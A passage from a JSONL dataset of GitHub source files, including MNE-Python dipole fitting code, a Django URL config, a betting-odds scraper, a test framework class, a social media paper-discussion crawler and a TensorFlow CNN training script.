min_dist)\n if ori is not None and pos is None:\n raise ValueError(\"pos must be provided if ori is not None\")\n\n data = evoked.data\n if not np.isfinite(data).all():\n raise ValueError(\"Evoked data must be finite\")\n info = evoked.info\n times = evoked.times.copy()\n comment = evoked.comment\n\n # Convert the min_dist to meters\n min_dist_to_inner_skull = min_dist / 1000.0\n del min_dist\n\n # Figure out our inputs\n neeg = len(pick_types(info, meg=False, eeg=True, ref_meg=False, exclude=[]))\n if isinstance(bem, str):\n bem_extra = bem\n else:\n bem_extra = repr(bem)\n logger.info(\"BEM : %s\" % bem_extra)\n mri_head_t, trans = _get_trans(trans)\n logger.info(\"MRI transform : %s\" % trans)\n safe_false = _verbose_safe_false()\n bem = _setup_bem(bem, bem_extra, neeg, mri_head_t, verbose=safe_false)\n if not bem[\"is_sphere\"]:\n # Find the best-fitting sphere\n inner_skull = _bem_find_surface(bem, \"inner_skull\")\n inner_skull = inner_skull.copy()\n R, r0 = _fit_sphere(inner_skull[\"rr\"], disp=False)\n # r0 back to head frame for logging\n r0 = apply_trans(mri_head_t[\"trans\"], r0[np.newaxis, :])[0]\n inner_skull[\"r0\"] = r0\n logger.info(\n \"Head origin : \"\n \"%6.1f %6.1f %6.1f mm rad = %6.1f mm.\"\n % (1000 * r0[0], 1000 * r0[1], 1000 * r0[2], 1000 * R)\n )\n del R, r0\n else:\n r0 = bem[\"r0\"]\n if len(bem.get(\"layers\", [])) > 0:\n R = bem[\"layers\"][0][\"rad\"]\n kind = \"rad\"\n else: # MEG-only\n # Use the minimum distance to the MEG sensors as the radius then\n R = np.dot(\n np.linalg.inv(info[\"dev_head_t\"][\"trans\"]), np.hstack([r0, [1.0]])\n )[:3] # r0 -> device\n R = R - [\n info[\"chs\"][pick][\"loc\"][:3]\n for pick in pick_types(info, meg=True, exclude=[])\n ]\n if len(R) == 0:\n raise RuntimeError(\n \"No MEG channels found, but MEG-only \" \"sphere model used\"\n )\n R = np.min(np.sqrt(np.sum(R * R, axis=1))) # use dist to sensors\n kind = \"max_rad\"\n logger.info(\n \"Sphere model : origin at (% 7.2f % 7.2f % 7.2f) mm, \"\n \"%s = %6.1f mm\" % (1000 * r0[0], 1000 * r0[1], 1000 * r0[2], kind, R)\n )\n inner_skull = dict(R=R, r0=r0) # NB sphere model defined in head frame\n del R, r0\n\n # Deal with DipoleFixed cases here\n if pos is not None:\n fixed_position = True\n pos = np.array(pos, float)\n if pos.shape != (3,):\n raise ValueError(\n \"pos must be None or a 3-element array-like,\" \" got %s\" % (pos,)\n )\n logger.info(\"Fixed position : %6.1f %6.1f %6.1f mm\" % tuple(1000 * pos))\n if ori is not None:\n ori = np.array(ori, float)\n if ori.shape != (3,):\n raise ValueError(\n \"oris must be None or a 3-element array-like,\" \" got %s\" % (ori,)\n )\n norm = np.sqrt(np.sum(ori * ori))\n if not np.isclose(norm, 1):\n raise ValueError(\"ori must be a unit vector, got length %s\" % (norm,))\n logger.info(\"Fixed orientation : %6.4f %6.4f %6.4f mm\" % tuple(ori))\n else:\n logger.info(\"Free orientation : \")\n fit_n_jobs = 1 # only use 1 job to do the guess fitting\n else:\n fixed_position = False\n # Eventually these could be parameters, but they are just used for\n # the initial grid anyway\n guess_grid = 0.02 # MNE-C uses 0.01, but this is faster w/similar perf\n guess_mindist = max(0.005, min_dist_to_inner_skull)\n guess_exclude = 0.02\n\n logger.info(\"Guess grid : %6.1f mm\" % (1000 * guess_grid,))\n if guess_mindist > 0.0:\n logger.info(\"Guess mindist : %6.1f mm\" % (1000 * guess_mindist,))\n if guess_exclude > 0:\n logger.info(\"Guess exclude : %6.1f mm\" % (1000 * guess_exclude,))\n logger.info(f\"Using {accuracy} MEG coil definitions.\")\n fit_n_jobs = n_jobs\n cov = _ensure_cov(cov)\n logger.info(\"\")\n\n _print_coord_trans(mri_head_t)\n _print_coord_trans(info[\"dev_head_t\"])\n logger.info(\"%d bad channels total\" % len(info[\"bads\"]))\n\n # Forward model setup (setup_forward_model from setup.c)\n ch_types = evoked.get_channel_types()\n\n sensors = dict()\n if \"grad\" in ch_types or \"mag\" in ch_types:\n sensors[\"meg\"] = _prep_meg_channels(\n info, exclude=\"bads\", accuracy=accuracy, verbose=verbose\n )\n if \"eeg\" in ch_types:\n sensors[\"eeg\"] = _prep_eeg_channels(info, exclude=\"bads\", verbose=verbose)\n\n # Ensure that MEG and/or EEG channels are present\n if len(sensors) == 0:\n raise RuntimeError(\"No MEG or EEG channels found.\")\n\n # Whitener for the data\n logger.info(\"Decomposing the sensor noise covariance matrix...\")\n picks = pick_types(info, meg=True, eeg=True, ref_meg=False)\n\n # In case we want to more closely match MNE-C for debugging:\n # from ._fiff.pick import pick_info\n # from .cov import prepare_noise_cov\n # info_nb = pick_info(info, picks)\n # cov = prepare_noise_cov(cov, info_nb, info_nb['ch_names'], verbose=False)\n # nzero = (cov['eig'] > 0)\n # n_chan = len(info_nb['ch_names'])\n # whitener = np.zeros((n_chan, n_chan), dtype=np.float64)\n # whitener[nzero, nzero] = 1.0 / np.sqrt(cov['eig'][nzero])\n # whitener = np.dot(whitener, cov['eigvec'])\n\n whitener, _, rank = compute_whitener(\n cov, info, picks=picks, rank=rank, return_rank=True\n )\n\n # Proceed to computing the fits (make_guess_data)\n if fixed_position:\n guess_src = dict(nuse=1, rr=pos[np.newaxis], inuse=np.array([True]))\n logger.info(\"Compute forward for dipole location...\")\n else:\n logger.info(\"\\n---- Computing the forward solution for the guesses...\")\n guess_src = _make_guesses(\n inner_skull, guess_grid, guess_exclude, guess_mindist, n_jobs=n_jobs\n )[0]\n # grid coordinates go from mri to head frame\n transform_surface_to(guess_src, \"head\", mri_head_t)\n logger.info(\"Go through all guess source locations...\")\n\n # inner_skull goes from mri to head frame\n if \"rr\" in inner_skull:\n transform_surface_to(inner_skull, \"head\", mri_head_t)\n if fixed_position:\n if \"rr\" in inner_skull:\n check = _surface_constraint(pos, inner_skull, min_dist_to_inner_skull)\n else:\n check = _sphere_constraint(\n pos, inner_skull[\"r0\"], R_adj=inner_skull[\"R\"] - min_dist_to_inner_skull\n )\n if check <= 0:\n raise ValueError(\n \"fixed position is %0.1fmm outside the inner \"\n \"skull boundary\" % (-1000 * check,)\n )\n\n # C code computes guesses w/sphere model for speed, don't bother here\n fwd_data = _prep_field_computation(\n guess_src[\"rr\"], sensors=sensors, bem=bem, n_jobs=n_jobs, verbose=safe_false\n )\n fwd_data[\"inner_skull\"] = inner_skull\n guess_fwd, guess_fwd_orig, guess_fwd_scales = _dipole_forwards(\n sensors=sensors,\n fwd_data=fwd_data,\n whitener=whitener,\n rr=guess_src[\"rr\"],\n n_jobs=fit_n_jobs,\n )\n # decompose ahead of time\n guess_fwd_svd = [\n _safe_svd(fwd, full_matrices=False)\n for fwd in np.array_split(guess_fwd, len(guess_src[\"rr\"]))\n ]\n guess_data = dict(\n fwd=guess_fwd,\n fwd_svd=guess_fwd_svd,\n fwd_orig=guess_fwd_orig,\n scales=guess_fwd_scales,\n )\n del guess_fwd, guess_fwd_svd, guess_fwd_orig, guess_fwd_scales # destroyed\n logger.info(\"[done %d source%s]\" % (guess_src[\"nuse\"], _pl(guess_src[\"nuse\"])))\n\n # Do actual fits\n data = data[picks]\n ch_names = [info[\"ch_names\"][p] for p in picks]\n proj_op = make_projector(info[\"projs\"], ch_names, info[\"bads\"])[0]\n fun = _fit_dipole_fixed if fixed_position else _fit_dipole\n out = _fit_dipoles(\n fun,\n min_dist_to_inner_skull,\n data,\n times,\n guess_src[\"rr\"],\n guess_data,\n sensors=sensors,\n fwd_data=fwd_data,\n whitener=whitener,\n ori=ori,\n n_jobs=n_jobs,\n rank=rank,\n rhoend=tol,\n )\n assert len(out) == 8\n if fixed_position and ori is not None:\n # DipoleFixed\n data = np.array([out[1], out[3]])\n out_info = deepcopy(info)\n loc = np.concatenate([pos, ori, np.zeros(6)])\n out_info._unlocked = True\n out_info[\"chs\"] = [\n dict(\n ch_name=\"dip 01\",\n loc=loc,\n kind=FIFF.FIFFV_DIPOLE_WAVE,\n coord_frame=FIFF.FIFFV_COORD_UNKNOWN,\n unit=FIFF.FIFF_UNIT_AM,\n coil_type=FIFF.FIFFV_COIL_DIPOLE,\n unit_mul=0,\n range=1,\n cal=1.0,\n scanno=1,\n logno=1,\n ),\n dict(\n ch_name=\"goodness\",\n loc=np.full(12, np.nan),\n kind=FIFF.FIFFV_GOODNESS_FIT,\n unit=FIFF.FIFF_UNIT_AM,\n coord_frame=FIFF.FIFFV_COORD_UNKNOWN,\n coil_type=FIFF.FIFFV_COIL_NONE,\n unit_mul=0,\n range=1.0,\n cal=1.0,\n scanno=2,\n logno=100,\n ),\n ]\n for key in [\"hpi_meas\", \"hpi_results\", \"projs\"]:\n out_info[key] = list()\n for key in [\n \"acq_pars\",\n \"acq_stim\",\n \"description\",\n \"dig\",\n \"experimenter\",\n \"hpi_subsystem\",\n \"proj_id\",\n \"proj_name\",\n \"subject_info\",\n ]:\n out_info[key] = None\n out_info._unlocked = False\n out_info[\"bads\"] = []\n out_info._update_redundant()\n out_info._check_consistency()\n dipoles = DipoleFixed(\n out_info, data, times, evoked.nave, evoked._aspect_kind, comment=comment\n )\n else:\n dipoles = Dipole(\n times, out[0], out[1], out[2], out[3], comment, out[4], out[5], out[6]\n )\n residual = evoked.copy().apply_proj() # set the projs active\n residual.data[picks] = np.dot(proj_op, out[-1])\n logger.info(\"%d time points fitted\" % len(dipoles.times))\n return dipoles, residual\n\n\n# Every other row of Table 3 from OyamaEtAl2015\n_OYAMA = \"\"\"\n0.00 56.29 -27.50\n32.50 56.29 5.00\n0.00 65.00 5.00\n-32.50 56.29 5.00\n0.00 56.29 37.50\n0.00 32.50 61.29\n-56.29 0.00 -27.50\n-56.29 32.50 5.00\n-65.00 0.00 5.00\n-56.29 -32.50 5.00\n-56.29 0.00 37.50\n-32.50 0.00 61.29\n0.00 -56.29 -27.50\n-32.50 -56.29 5.00\n0.00 -65.00 5.00\n32.50 -56.29 5.00\n0.00 -56.29 37.50\n0.00 -32.50 61.29\n56.29 0.00 -27.50\n56.29 -32.50 5.00\n65.00 0.00 5.00\n56.29 32.50 5.00\n56.29 0.00 37.50\n32.50 0.00 61.29\n0.00 0.00 70.00\n\"\"\"\n\n\ndef get_phantom_dipoles(kind=\"vectorview\"):\n \"\"\"Get standard phantom dipole locations and orientations.\n\n Parameters\n ----------\n kind : str\n Get the information for the given system:\n\n ``vectorview`` (default)\n The Neuromag VectorView phantom.\n ``otaniemi``\n The older Neuromag phantom used at Otaniemi.\n ``oyama``\n The phantom from :footcite:`OyamaEtAl2015`.\n\n .. versionchanged:: 1.6\n Support added for ``'oyama'``.\n\n Returns\n -------\n pos : ndarray, shape (n_dipoles, 3)\n The dipole positions.\n ori : ndarray, shape (n_dipoles, 3)\n The dipole orientations.\n\n See Also\n --------\n mne.datasets.fetch_phantom\n\n Notes\n -----\n The Elekta phantoms have a radius of 79.5mm, and HPI coil locations\n in the XY-plane at the axis extrema (e.g., (79.5, 0), (0, -79.5), ...).\n\n References\n ----------\n .. footbibliography::\n \"\"\"\n _validate_type(kind, str, \"kind\")\n _check_option(\"kind\", kind, [\"vectorview\", \"otaniemi\", \"oyama\"])\n if kind == \"vectorview\":\n # these values were pulled from a scanned image provided by\n # Elekta folks\n a = np.array([59.7, 48.6, 35.8, 24.8, 37.2, 27.5, 15.8, 7.9])\n b = np.array([46.1, 41.9, 38.3, 31.5, 13.9, 16.2, 20.0, 19.3])\n x = np.concatenate((a, [0] * 8, -b, [0] * 8))\n y = np.concatenate(([0] * 8, -a, [0] * 8, b))\n c = [22.9, 23.5, 25.5, 23.1, 52.0, 46.4, 41.0, 33.0]\n d = [44.4, 34.0, 21.6, 12.7, 62.4, 51.5, 39.1, 27.9]\n z = np.concatenate((c, c, d, d))\n signs = ([1, -1] * 4 + [-1, 1] * 4) * 2\n elif kind == \"otaniemi\":\n # these values were pulled from an Neuromag manual\n # (NM20456A, 13.7.1999, p.65)\n a = np.array([56.3, 47.6, 39.0, 30.3])\n b = np.array([32.5, 27.5, 22.5, 17.5])\n c = np.zeros(4)\n x = np.concatenate((a, b, c, c, -a, -b, c, c))\n y = np.concatenate((c, c, -a, -b, c, c, b, a))\n z = np.concatenate((b, a, b, a, b, a, a, b))\n signs = [-1] * 8 + [1] * 16 + [-1] * 8\n else:\n assert kind == \"oyama\"\n xyz = np.fromstring(_OYAMA.strip().replace(\"\\n\", \" \"), sep=\" \").reshape(25, 3)\n xyz = np.repeat(xyz, 2, axis=0)\n x, y, z = xyz.T\n signs = [1] * 50\n pos = np.vstack((x, y, z)).T / 1000.0\n # For Neuromag-style phantoms,\n # Locs are always in XZ or YZ, and so are the oris. The oris are\n # also in the same plane and tangential, so it's easy to determine\n # the orientation.\n # For Oyama, vectors are orthogonal to the position vector and oriented with one\n # pointed toward the north pole (except for the topmost points, which are just xy).\n ori = list()\n for pi, this_pos in enumerate(pos):\n this_ori = np.zeros(3)\n idx = np.where(this_pos == 0)[0]\n # assert len(idx) == 1\n if len(idx) == 0: # oyama\n idx = [np.argmin(this_pos)]\n idx = np.setdiff1d(np.arange(3), idx[0])\n this_ori[idx] = (this_pos[idx][::-1] / np.linalg.norm(this_pos[idx])) * [1, -1]\n if kind == \"oyama\":\n # Ensure it's orthogonal to the position vector\n pos_unit = this_pos / np.linalg.norm(this_pos)\n this_ori -= pos_unit * np.dot(this_ori, pos_unit)\n this_ori /= np.linalg.norm(this_ori)\n # This was empirically determined by looking at the dipole fits\n if np.abs(this_ori[2]) >= 1e-6: # if it's not in the XY plane\n this_ori *= -1 * np.sign(this_ori[2]) # point downward\n elif np.abs(this_ori[0]) < 1e-6: # in the XY plane (at the north pole)\n this_ori *= -1 * np.sign(this_ori[1]) # point backward\n # Odd ones create a RH coordinate system with their ori\n if pi % 2:\n this_ori = np.cross(pos_unit, this_ori)\n else:\n this_ori *= signs[pi]\n # Now we have this quality, which we could uncomment to\n # double-check:\n # np.testing.assert_allclose(np.dot(this_ori, this_pos) /\n # np.linalg.norm(this_pos), 0,\n # atol=1e-15)\n ori.append(this_ori)\n ori = np.array(ori)\n return pos, ori\n\n\ndef _concatenate_dipoles(dipoles):\n \"\"\"Concatenate a list of dipoles.\"\"\"\n times, pos, amplitude, ori, gof = [], [], [], [], []\n for dipole in dipoles:\n times.append(dipole.times)\n pos.append(dipole.pos)\n amplitude.append(dipole.amplitude)\n ori.append(dipole.ori)\n gof.append(dipole.gof)\n\n return Dipole(\n np.concatenate(times),\n np.concatenate(pos),\n np.concatenate(amplitude),\n np.concatenate(ori),\n np.concatenate(gof),\n name=None,\n )\n","repo_name":"mne-tools/mne-python","sub_path":"mne/dipole.py","file_name":"dipole.py","file_ext":"py","file_size_in_byte":61549,"program_lang":"python","lang":"en","doc_type":"code","stars":2405,"dataset":"github-code","pt":"71"} +{"seq_id":"102520399","text":"from django.contrib import admin\nfrom django.urls import path\nfrom RockPaperScissor import views\n\nurlpatterns = [\n path('',views.index,name='Index'),\n path('input',views.input,name='Input'),\n path('page3',views.page3,name='page3'),\n path('result',views.result,name='result'),\n path('nextround',views.nextround,name='nextround'),\n]","repo_name":"Akki019/DevopsLab_RockPaperScissor","sub_path":"DevopsLabProject/RockPaperScissor/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"72874279271","text":"# __author__ = 'czx'\n# coding=utf-8\nimport numpy as np\nfrom numpy import *\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.axisartist as axisartist\n\n\ndef leakyrelu(x):\n y = x.copy()\n for i in range(y.shape[0]):\n if y[i] < 0:\n y[i] = 0.2 * y[i]\n return y\n\nx = np.arange(-10, 10, 0.01)\nplt.tick_params(labelsize=14) # 刻度字体大小14\ny_relu = leakyrelu(x)\n\nplt.plot(x, y_relu, color = '#87CEFA', linewidth=2.5, label=u'leakyrelu')\n# plt.tight_layout() # 去除边缘空白\nplt.xlabel('x',fontsize=14)\nplt.ylabel('LReLU(x)',fontsize=14)\nplt.savefig(\"D:/My World/毕业设计/毕业论文/lrelu.svg\", dpi=600, format=\"svg\")\n# savefig要写在show前面,不然保存的就是空白图片\nplt.show()\n\n","repo_name":"Alouger/SwinCAR","sub_path":"utils/lrelu_plot.py","file_name":"lrelu_plot.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"69836745831","text":"import logging\nimport requests\nimport socket\nimport ssl\nimport sys\nimport time\n\n\nfrom bs4 import BeautifulSoup\nfrom .scraper_exceptions import Exception404\nfrom time import sleep\n\n\ndef get_soup(url):\n if 'oddschecker.com/' not in url:\n url = 'https://www.oddschecker.com' + url\n\n # nap_time_sec = 1\n # logging.debug('Script is going to sleep for {} (Amazon throttling). ZZZzzzZZZzz.'.format(nap_time_sec))\n #sleep(nap_time_sec)\n header = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36'\n }\n logging.debug('-> to OddsChecker : {}'.format(url))\n\n return handle_url_request(url, header)\n\n\ndef handle_url_request(url, header):\n out = make_request(header, url)\n\n if out:\n if out.status_code == 404:\n logging.error(\"404 For Url: \", url)\n raise Exception404\n else:\n assert out.status_code == 200\n\n soup = run_bs4(out)\n else:\n print(f\"Sleeping for 5 Seconds\")\n time.sleep(5)\n try:\n out = make_request(header, url)\n if out.status_code == 404:\n logging.error(\"404 For Url: \", url)\n raise Exception404\n else:\n assert out.status_code == 200\n\n soup = run_bs4(out)\n except Exception as e:\n print(f\"Exception When Handling URL: {e}\")\n raise Exception\n return soup\n\n\ndef make_request(header, url):\n time.sleep(1)\n try:\n out = requests.get(url, headers=header)\n except ssl.SSLEOFError as ssle:\n logging.info(\"SSL Error - In Requests\")\n print(ssle)\n logging.info(\"Sleeping for 10 Seconds - Will attempt again\")\n time.sleep(20)\n out = requests.get(url, headers=header)\n except socket.gaierror as e:\n # if e.errno == socket.EAI_AGAIN:\n logging.info(\"In Requests - Temporary Failure In Name Resolution\")\n logging.info(\"Sleeping for 10 Seconds\")\n time.sleep(20)\n out = requests.get(url, headers=header)\n except requests.exceptions.ConnectionError as ce:\n logging.info('Connection Error CAUGHT in __MAIN__')\n logging.info(ce)\n logging.info(\"Sleeping for 20 Seconds\")\n time.sleep(20)\n out = requests.get(url, headers=header)\n\n return out\n\n\ndef run_bs4(out):\n soup = BeautifulSoup(out.content, 'html.parser')\n ##if 'captcha' in str(soup):\n # raise BannedException('Your bot has been detected. Please wait a while.')\n return soup\n","repo_name":"reido2012/BarcaMonkey","sub_path":"barcamonkey/oddschecker/core_utils.py","file_name":"core_utils.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"35704423010","text":"#! /usr/bin/python3\nimport pdb\nimport copy\n\nimport infra.common.loader as loader\nimport infra.common.defs as defs\nimport infra.common.parser as parser\nimport infra.common.objects as objects\nimport infra.factory.pktfactory as pktfactory\nimport infra.factory.memfactory as memfactory\n\nfrom infra.factory.store import FactoryStore as FactoryStore\nfrom infra.common.logging import logger\nfrom infra.misc.coverage import TestCaseCoverageHelper\nfrom infra.common.glopts import GlobalOptions as GlobalOptions\nfrom infra.asic.model import ModelConnector\n\nclass TestCaseParser(parser.ParserBase):\n def __init__(self, path, filename):\n super().__init__()\n self.path = path\n self.filename = filename\n return\n \n def parse(self):\n objlist = super().Parse(self.path, self.filename)\n assert(len(objlist) == 1)\n return objlist[0]\n\nclass TestCaseReceivedPacketObject:\n def __init__(self):\n self.rawpkt = None\n self.port = None\n return\n\nclass TestCaseTrigExpPacketObject:\n def __init__(self):\n self.packet = None\n self.ports = None\n return\n\nclass TestCaseTrigExpCommandObject:\n def __init__(self):\n self.object = None\n self.command = None\n self.background = False\n self.timeout = None\n self.status = None\n return\n \nclass TestCaseTrigExpDoorbellObject:\n def __init__(self):\n self.object = None\n self.spec = None\n return\n\n def GID(self):\n return self.object.GID()\n\nclass TestCaseTrigExpDescriptorObject:\n def __init__(self):\n self.object = None\n self.ring = None\n self.buffer = None\n self.packet = None\n return\n\n def GID(self):\n return self.object.GID()\n\nclass TestCaseTrigExpDescriptorSpec:\n def __init__(self):\n self.descriptor = TestCaseTrigExpDescriptorObject()\n return\n\nclass TestCaseTrigExpConfigObject:\n def __init__(self):\n self.original_object = None\n self.actual_object = None\n self.method = None\n self.spec = None\n return\n \nclass TestCaseSessionEntryObject:\n def __init__(self):\n self.step = None\n return\n\nclass TestCaseSessionStepTriggerExpectReceivedObject:\n def __init__(self):\n self.delay = 0\n self.packets = []\n self.descriptors = []\n self.doorbell = TestCaseTrigExpDoorbellObject()\n self.configs = []\n self.commands = []\n #self.ignore_excess_packets = False\n return\n\nclass TestCaseSessionStepObject:\n def __init__(self):\n self.trigger = TestCaseSessionStepTriggerExpectReceivedObject()\n self.expect = TestCaseSessionStepTriggerExpectReceivedObject()\n self.received = TestCaseSessionStepTriggerExpectReceivedObject()\n return\n\nclass TestCaseSessionObject:\n def __init__(self):\n self.steps = []\n return\n\n def AddStep(self, step):\n self.steps.append(step)\n return\n\nclass TestCasePrivateData:\n def __init__(self):\n return\n\nclass TestCase(objects.FrameworkObject):\n def __init__(self, tcid, root, module, loopid = 0):\n super().__init__()\n self.template = FactoryStore.testobjects.Get('TESTCASE')\n self.Clone(self.template)\n self.__root = None\n self.drop = False\n self.loopid = None\n self.pendol = module.IsPendolHeaderEnabled()\n self.__retry_enable = False\n self.trigger_engine = None\n self.verif_engine = None\n self.rxpkts = {}\n self.LockAttributes()\n\n self.GID(tcid)\n \n self.module = module\n self.infra_data = module.infra_data\n self.testspec = module.testspec\n self.session = TestCaseSessionObject()\n self.step_id = 0\n self.pvtdata = TestCasePrivateData()\n\n self.loopid = loopid + 1\n if GlobalOptions.tcscale:\n self.logpfx = \"TC%06d-%04d:\" % (self.ID(), self.loopid)\n else:\n self.logpfx = \"TC%06d\" % self.ID() \n logger.SetTestcase(self.logpfx)\n return\n \n def _setup_config(self, root):\n self.__root = root\n if root:\n self.config.tc = self\n root.SetupTestcaseConfig(self.config)\n return\n \n def IsIgnore(self):\n return self.module.IsIgnore()\n \n def _generate(self):\n logger.info(\"%s Starting TestCase. %s\" % ('=' * 20, '=' * 20))\n self.__show_config_objects()\n self.__setup_callback()\n if self.testspec:\n self._generate_objects()\n self.__setup_session()\n return defs.status.SUCCESS\n \n def IsRetryEnabled(self):\n return self.__retry_enable\n\n def SetRetryEnabled(self, val):\n self.__retry_enable = val\n return\n\n def GetStepId(self):\n return self.step_id\n\n def GetTcId(self):\n return self.GID()\n\n def GetRoot(self):\n return self.__root\n\n def _generate_objects(self):\n pass\n \n def __setup_callback(self):\n self.module.RunModuleCallback('TestCaseSetup', self)\n ModelConnector.TestCaseBegin(self.GID(), self.loopid)\n return\n\n def __show_config_objects(self):\n if self.__root:\n self.__root.ShowTestcaseConfig(self.config)\n return\n\n def __setup_session(self):\n logger.info(\"Setting Up Session\")\n for tspstep in self.testspec.session:\n step = TestCaseSessionStepObject()\n step.step_id = self.step_id\n self.step_id += 1\n\n self.module.RunModuleCallback('TestCaseStepSetup', self, step)\n logger.info(\"- Setting Up Session Step\")\n self._setup_trigger(step, tspstep.step)\n self._setup_expect(step, tspstep.step)\n\n self.session.AddStep(step)\n return defs.status.SUCCESS\n \n def __process_verify_callback_retval(self, ret):\n if ret is defs.status.SUCCESS or ret is True:\n logger.info(\"- Verify Callback Status = Success\")\n status = defs.status.SUCCESS\n elif ret is defs.status.OVERRIDE:\n logger.info(\"- Verify Callback Status = Override\")\n status = defs.status.OVERRIDE\n else:\n logger.error(\"- Verify Callback Status = Failure\")\n status = defs.status.ERROR\n return status\n\n def _setup_trigger(self, tcstep, spstep):\n pass\n\n def _setup_expect(self, tcstep, spstep):\n pass\n \n def TeardownCallback(self):\n logger.info(\"Invoking TestCaseTeardown.\")\n self.module.RunModuleCallback('TestCaseTeardown', self)\n if self.__root:\n self.__root.TearDownTestcaseConfig(self.config)\n return\n \n def VerifyCallback(self):\n if GlobalOptions.skipverify: return defs.status.SUCCESS\n logger.info(\"Invoking TestCaseVerify.\")\n ret = self.module.RunModuleCallback('TestCaseVerify', self)\n return self.__process_verify_callback_retval(ret)\n\n def PreTriggerCallback(self):\n logger.info(\"Invoking TestCasePreTrigger.\")\n self.module.RunModuleCallback('TestCasePreTrigger', self)\n return\n\n def TriggerCallback(self):\n logger.info(\"Invoking TestCaseTrigger.\")\n self.module.RunModuleCallback('TestCaseTrigger', self)\n return\n\n def StepSetupCallback(self, step):\n logger.info(\"Invoking TestCaseStepSetup.\")\n self.module.RunModuleCallback('TestCaseStepSetup', self, step)\n return\n\n def StepPreTriggerCallback(self, step):\n logger.info(\"Invoking TestCaseStepPreTrigger.\")\n self.module.RunModuleCallback('TestCaseStepPreTrigger', self, step)\n return\n\n def StepTriggerCallback(self, step):\n logger.info(\"Invoking TestCaseStepTrigger.\")\n self.module.RunModuleCallback('TestCaseStepTrigger', self, step)\n return\n\n def StepVerifyCallback(self, step):\n if GlobalOptions.skipverify: return defs.status.SUCCESS\n logger.info(\"Invoking TestCaseStepVerify.\")\n ret = self.module.RunModuleCallback('TestCaseStepVerify', self, step)\n return self.__process_verify_callback_retval(ret)\n\n def StepTeardownCallback(self, step):\n logger.info(\"Invoking TestCaseStepTeardown.\")\n self.module.RunModuleCallback('TestCaseStepTeardown', self, step)\n return\n\n \n","repo_name":"ccdxc/sw","sub_path":"dol/infra/factory/testcase.py","file_name":"testcase.py","file_ext":"py","file_size_in_byte":8555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"72316077989","text":"from Util import get_db\nfrom download_paper import paper_crawler\nfrom download_twitter_discussion import tweet_in_one\nfrom download_reddit_discussion import reddit_in_one, init_reddit\nfrom tqdm import tqdm\nimport argparse\n\ndef all_in_one(query_list, conference_list):\n # get the interested paper\n db = get_db()\n conference_collection = db[\"paper\"]\n user_collection = db[\"twitter_user\"]\n tweet_collection = db[\"tweets\"]\n tweet_relation_collection = db['tweet_tweet_relation']\n paper_tweet_relation = db['paper_tweet_relation']\n reddit_user_collection = db['reddit_user']\n reddit_collection = db['reddits']\n reddit_comment_collection = db['reddit_reddit_relation']\n sub_reddit, reddit = init_reddit()\n # for query in query_list:\n # paper_crawler(query, conference_list, conference_collection)\n for conference in conference_collection.find():\n tweet_query_list = [conference['id'], conference['title']]\n paper_id = conference['id']\n for query in tqdm(tweet_query_list):\n # tweet_in_one(paper_id, query, user_collection, tweet_collection, paper_tweet_relation, tweet_relation_collection)\n if \"//\" in query:\n query = 'url:\"{}\"'.format(query)\n reddit_in_one(reddit,sub_reddit, paper_id, query, reddit_user_collection, reddit_collection,\n paper_tweet_relation, reddit_comment_collection)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--paper_key_word\", '-kw', required=True, type=str)\n parser.add_argument(\"--conference_list\",'-cl',type='str', default=\"emnlp,acl\")\n args = parser.parse_args()\n # conference_list = ['emnlp', 'acl', 'nips', 'aaai', 'iclr', 'nurips', 'cikm', 'sdm', 'kdd', 'sigir']\n args.cl = args.cl.split(\",\")\n all_in_one(query_list=args.kw, conference_list=args.cl)\n\n","repo_name":"bigheiniu/arxiv_social_crawler","sub_path":"all_in_one.py","file_name":"all_in_one.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"23628897341","text":"import numpy as np\nimport tensorflow as tf\nfrom math import floor\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\n\n\nimport data_prepare\n\n'''-----file path where results are stored-----'''\nstr_time = data_prepare.get_str_time()\nlog_path = 'log/' + str_time + '/'\nmodel_path = 'model/' + str_time + '/model.ckpt'\nreport_path = 'report/' + str_time + '.txt'\nfigure_path = 'figure/' + str_time\n\ndef plot_confusion_matrix(cm, labels_name, way_to_normalize='index'):\n if way_to_normalize == 'index':\n cm_float = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n elif way_to_normalize == 'columns':\n cm_float = cm.astype('float') / cm.sum(axis=0)[np.newaxis, :]\n plt.imshow(cm_float, interpolation='nearest')\n plt.title('Normalized by ' + way_to_normalize)\n plt.colorbar()\n num_local = np.array(range(len(labels_name)))\n plt.xticks(num_local, labels_name)\n plt.yticks(num_local, labels_name)\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n for i in range(cm.shape[0]):\n for j in range(cm.shape[1]):\n plt.text(x=i, y=j, s=int(cm[i][j]), va='center', ha='center', color='red', fontsize=15)\n plt.savefig(figure_path + '_' + way_to_normalize + '.png')\n plt.close()\n\n'''-----MAIN function of CNN model and training-----'''\ndef train_cnn_model(n_steps, n_inputs, n_label,n_neurons, learning_rate, d_begin, d_end, frequency, train_stocks,\n features, s_point, train_scale, batch_size, n_epoch, n_filters,dropout_rate,day_period):\n\n x = tf.compat.v1.placeholder(tf.float32, [None, n_steps, n_inputs], name='x')\n y = tf.compat.v1.placeholder(tf.int32, [None], name='y')\n tf_is_training = tf.compat.v1.placeholder(tf.bool, None) # to control dropout when training and testing\n\n input_layer = tf.reshape(x, [-1, n_steps, n_inputs, 1])\n input_layer = tf.compat.v1.keras.layers.SpatialDropout2D(0.3)(inputs=input_layer, training=tf_is_training)\n\n # (input_shape[0], 1, 1, input_shape[3]) shoule be changed to (input_shape[0], input_shape[1], 1, 